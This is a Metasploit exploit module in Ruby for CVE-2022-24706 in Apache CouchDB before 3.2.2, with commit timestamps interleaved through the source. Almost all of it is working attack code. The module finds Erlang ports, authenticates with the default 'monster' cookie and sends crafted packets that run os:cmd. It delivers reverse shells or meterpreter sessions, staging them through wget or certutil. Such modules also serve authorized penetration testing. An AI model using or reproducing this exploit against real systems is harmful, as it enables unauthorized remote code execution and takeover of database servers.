2022-10-12 20:55:37 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: Tcp
2022-10-14 17:28:45 -04:00
include Msf :: Exploit :: CmdStager
2022-10-19 14:24:41 -04:00
include Msf :: Exploit :: Retry
2022-10-27 15:56:14 -04:00
include Msf :: Exploit :: Powershell
2022-10-17 18:53:33 -04:00
prepend Msf :: Exploit :: Remote :: AutoCheck
2022-10-27 15:56:14 -04:00
require 'msf/core/exploit/powershell'
2022-10-12 20:55:37 -04:00
require 'digest'
2022-10-19 14:24:41 -04:00
# Constants required for communicating over the Erlang protocol defined here:
# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
2022-10-14 17:28:45 -04:00
EPM_NAME_CMD = " \x00 \x01 \x6e " . freeze
NAME_MSG = " \x00 \x15 n \x00 \x07 \x00 \x03 \x49 \x9c AAAAAA@AAAAAAA " . freeze
CHALLENGE_REPLY = " \x00 \x15 r \x01 \x02 \x03 \x04 " . freeze
CTRL_DATA = " \x83 h \x04 a \x06 gw \x0e AAAAAA@AAAAAAA \x00 \x00 \x00 \x03 \x00 \x00 \x00 \x00 \x00 w \x00 w \x03 rex " . freeze
COOKIE = 'monster' . freeze
2022-10-19 14:24:41 -04:00
COMMAND_PREFIX = " \x83 h \x02 gw \x0e AAAAAA@AAAAAAA \x00 \x00 \x00 \x03 \x00 \x00 \x00 \x00 \x00 h \x05 w \x04 callw \x02 osw \x03 cmdl \x00 \x00 \x00 \x01 k " . freeze
2022-10-12 20:55:37 -04:00
def initialize ( info = { } )
super (
update_info (
info ,
2022-10-14 17:28:45 -04:00
'Name' = > 'Apache Couchdb Erlang RCE' ,
'Description' = > %q{
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without
authenticating and gain admin privileges.
} ,
'Author' = > [
2022-10-19 14:24:41 -04:00
'Milton Valencia (wetw0rk)' , # Erlang Cookie RCE discovery
'1F98D' , # Erlang Cookie RCE exploit
'Konstantin Burov' , # Apache CouchDB Erlang Cookie exploit
'_sadshade' , # Apache CouchDB Erlang Cookie exploit
'jheysel-r7' , # Msf Module
2022-10-14 17:28:45 -04:00
] ,
'References' = > [
[ 'EDB' , '49418' ] ,
[ 'URL' , 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit' ] ,
[ 'CVE' , '2022-24706' ] ,
] ,
'License' = > MSF_LICENSE ,
'Platform' = > [ 'win' , 'linux' ] ,
2022-10-19 14:24:41 -04:00
'Payload' = > {
'MaxSize' = > 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method
} ,
2022-10-14 17:28:45 -04:00
'Privileged' = > false ,
'Arch' = > [ ARCH_CMD ] ,
2022-10-12 20:55:37 -04:00
'Targets' = > [
[
'Unix Command' ,
{
'Platform' = > 'unix' ,
'Arch' = > ARCH_CMD ,
'Type' = > :unix_cmd ,
'DefaultOptions' = > {
'PAYLOAD' = > 'cmd/unix/reverse_openssl'
}
}
] ,
2022-10-14 17:28:45 -04:00
[
'Linux Dropper' ,
{
'Platform' = > 'linux' ,
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
'Type' = > :linux_dropper ,
'CmdStagerFlavor' = > :wget ,
'DefaultOptions' = > {
'PAYLOAD' = > 'linux/x86/meterpreter_reverse_tcp'
}
}
] ,
[
'Windows Command' ,
{
'Platform' = > 'win' ,
'Arch' = > ARCH_CMD ,
'Type' = > :win_cmd ,
'DefaultOptions' = > {
'PAYLOAD' = > 'cmd/windows/powershell_reverse_tcp'
}
}
] ,
[
'Windows Dropper' ,
{
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
'Type' = > :win_dropper ,
'CmdStagerFlavor' = > :certutil ,
'DefaultOptions' = > {
'PAYLOAD' = > 'windows/x64/meterpreter_reverse_tcp'
}
}
] ,
[
'PowerShell Stager' ,
{
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
'Type' = > :psh_stager ,
'CmdStagerFlavor' = > :certutil ,
'DefaultOptions' = > {
'PAYLOAD' = > 'windows/x64/meterpreter/reverse_tcp'
}
}
]
] ,
2022-10-12 20:55:37 -04:00
'DefaultTarget' = > 0 ,
2022-10-14 17:28:45 -04:00
'DisclosureDate' = > '2022-01-21' ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
2022-10-19 14:24:41 -04:00
'SideEffects' = > [ IOC_IN_LOGS , ARTIFACTS_ON_DISK ]
2022-10-14 17:28:45 -04:00
}
) ,
2022-10-12 20:55:37 -04:00
)
register_options (
[
Opt :: RPORT ( 4369 )
]
)
end
def check
2022-10-17 18:53:33 -04:00
erlang_ports = get_erlang_ports
# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
2022-10-19 14:24:41 -04:00
return Exploit :: CheckCode :: Safe ( 'This endpoint does not appear to expose any erlang ports' ) if erlang_ports . empty?
2022-10-17 18:53:33 -04:00
erlang_ports . each do | erlang_port |
# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
# successful and the target as well as the specific socket used in this instance is vulnerable
sock = connect_to_erlang_server ( erlang_port . to_i )
if sock . instance_of? ( Socket )
@vulnerable_socket = sock
return Exploit :: CheckCode :: Vulnerable ( 'Successfully connected to the Erlang Server with cookie: "monster"' )
else
next
end
end
Exploit :: CheckCode :: Safe ( 'This endpoint has an exposed erlang port(s) but appears to be a patched' )
2022-10-12 20:55:37 -04:00
end
2022-10-17 18:53:33 -04:00
# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
#
# @return [Array] An array of port numbers for discovered Erlang Servers.
2022-10-12 20:55:37 -04:00
def get_erlang_ports
erlang_ports = [ ]
begin
2022-10-17 18:53:33 -04:00
print_status ( " Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{ datastore [ 'RHOSTS' ] } : #{ datastore [ 'RPORT' ] } ... " )
2022-10-14 17:28:45 -04:00
connect ( true , { 'RHOST' = > datastore [ 'RHOSTS' ] , 'RPORT' = > datastore [ 'RPORT' ] } )
2022-10-12 20:55:37 -04:00
# request Erlang nodes
sock . put ( EPM_NAME_CMD )
2022-10-14 17:28:45 -04:00
sleep datastore [ 'WfsDelay' ]
2022-10-12 20:55:37 -04:00
res = sock . get_once
2022-10-19 14:24:41 -04:00
unless res && res . include? ( " \x00 \x00 \x11 \x11 name couchdb " )
2022-10-17 18:53:33 -04:00
print_error ( 'Did not find any Erlang nodes' )
2022-10-19 14:24:41 -04:00
return erlang_ports
2022-10-17 18:53:33 -04:00
end
print_status ( 'Successfully found EDPM socket' )
2022-10-12 20:55:37 -04:00
res . each_line do | line |
erlang_ports << line . match ( / \ s( \ d+$) / ) [ 0 ]
end
2022-10-14 17:28:45 -04:00
rescue :: Rex :: ConnectionError , :: EOFError , :: Errno :: ECONNRESET = > e
2022-10-17 18:53:33 -04:00
print_error ( " Error connecting to EDPM: #{ e . class } #{ e } " )
2022-10-14 17:28:45 -04:00
disconnect
2022-10-19 14:24:41 -04:00
return erlang_ports
2022-10-12 20:55:37 -04:00
end
erlang_ports
end
2022-10-17 18:53:33 -04:00
# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the
# default erlang cookie value in Apache CouchDB installations before 3.2.2
#
# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server
2022-10-14 17:28:45 -04:00
def connect_to_erlang_server ( erlang_port )
2022-10-17 18:53:33 -04:00
print_status ( 'Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...' )
2022-10-14 17:28:45 -04:00
connect ( true , { 'RHOST' = > datastore [ 'RHOSTS' ] , 'RPORT' = > erlang_port } )
2022-10-17 18:53:33 -04:00
print_status ( 'Connection successful' )
2022-10-19 14:24:41 -04:00
challenge = retry_until_truthy ( timeout : 60 ) do
sock . put ( NAME_MSG )
sock . get_once ( 5 ) # ok message
sock . get_once
end
# The expected successful response from the target should start with \x00\x1C
unless challenge && challenge . include? ( " \x00 \x1C " )
print_error ( 'Connecting to the Erlang server was unsuccessful' )
return
end
2022-10-14 17:28:45 -04:00
challenge = challenge [ 9 .. 12 ] . unpack ( 'N*' ) [ 0 ]
challenge_reply = " \x00 \x15 r \x01 \x02 \x03 \x04 "
md5 = Digest :: MD5 . new
md5 . update ( COOKIE + challenge . to_s )
challenge_reply << [ md5 . hexdigest ] . pack ( 'H*' )
sock . put ( challenge_reply )
sleep datastore [ 'WfsDelay' ]
challenge_response = sock . get_once
if challenge_response . nil?
2022-10-17 18:53:33 -04:00
print_error ( 'Authentication was unsuccessful' )
return
2022-10-14 17:28:45 -04:00
end
print_status ( 'Erlang challenge and response completed successfully' )
2022-10-12 20:55:37 -04:00
2022-10-17 18:53:33 -04:00
sock
2022-10-14 17:28:45 -04:00
rescue :: Rex :: ConnectionError , :: EOFError , :: Errno :: ECONNRESET = > e
2022-10-17 18:53:33 -04:00
print_error ( " Error when connecting to Erlang Server: #{ e . class } #{ e } " )
2022-10-14 17:28:45 -04:00
disconnect
2022-10-17 18:53:33 -04:00
return
2022-10-14 17:28:45 -04:00
end
2022-10-12 20:55:37 -04:00
2022-10-14 17:28:45 -04:00
def compile_cmd ( cmd )
2022-10-19 14:24:41 -04:00
msg = ''
msg << COMMAND_PREFIX
2022-10-14 17:28:45 -04:00
msg << [ cmd . length ] . pack ( 'S>' )
msg << cmd
msg << " jw \x04 user "
payload = ( " \x70 " + CTRL_DATA + msg )
( [ payload . size ] . pack ( 'N*' ) + payload )
end
2022-10-12 20:55:37 -04:00
2022-10-14 17:28:45 -04:00
def execute_command ( cmd , opts = { } )
payload = compile_cmd ( cmd )
2022-10-19 14:24:41 -04:00
print_status ( 'Sending payload... ' )
2022-10-14 17:28:45 -04:00
opts [ :sock ] . put ( payload )
sleep datastore [ 'WfsDelay' ]
end
2022-10-12 20:55:37 -04:00
2022-10-17 18:53:33 -04:00
def exploit_socket ( sock )
case target [ 'Type' ]
when :unix_cmd , :win_cmd
execute_command ( payload . encoded , { sock : sock } )
2022-10-27 15:56:14 -04:00
when :linux_dropper , :win_dropper
2022-10-17 18:53:33 -04:00
execute_cmdstager ( { sock : sock } )
2022-10-27 15:56:14 -04:00
when :psh_stager
execute_command ( cmd_psh_payload ( payload . encoded , payload_instance . arch . first ) , { sock : sock } )
2022-10-17 18:53:33 -04:00
else
fail_with ( Failure :: BadConfig , 'Invalid target specified' )
end
end
2022-10-14 17:28:45 -04:00
def exploit
2022-10-17 18:53:33 -04:00
# If the check method has already been run, use the vulnerable socket that has already been identified
if @vulnerable_socket
exploit_socket ( @vulnerable_socket )
else
erlang_ports = get_erlang_ports
fail_with ( Failure :: BadConfig , 'This endpoint does not appear to expose any erlang ports' ) unless erlang_ports . instance_of? ( Array )
erlang_ports . each do | erlang_port |
sock = connect_to_erlang_server ( erlang_port . to_i )
next unless sock . instance_of? ( Socket )
exploit_socket ( sock )
2022-10-12 20:55:37 -04:00
end
end
end
2022-10-14 17:28:45 -04:00
end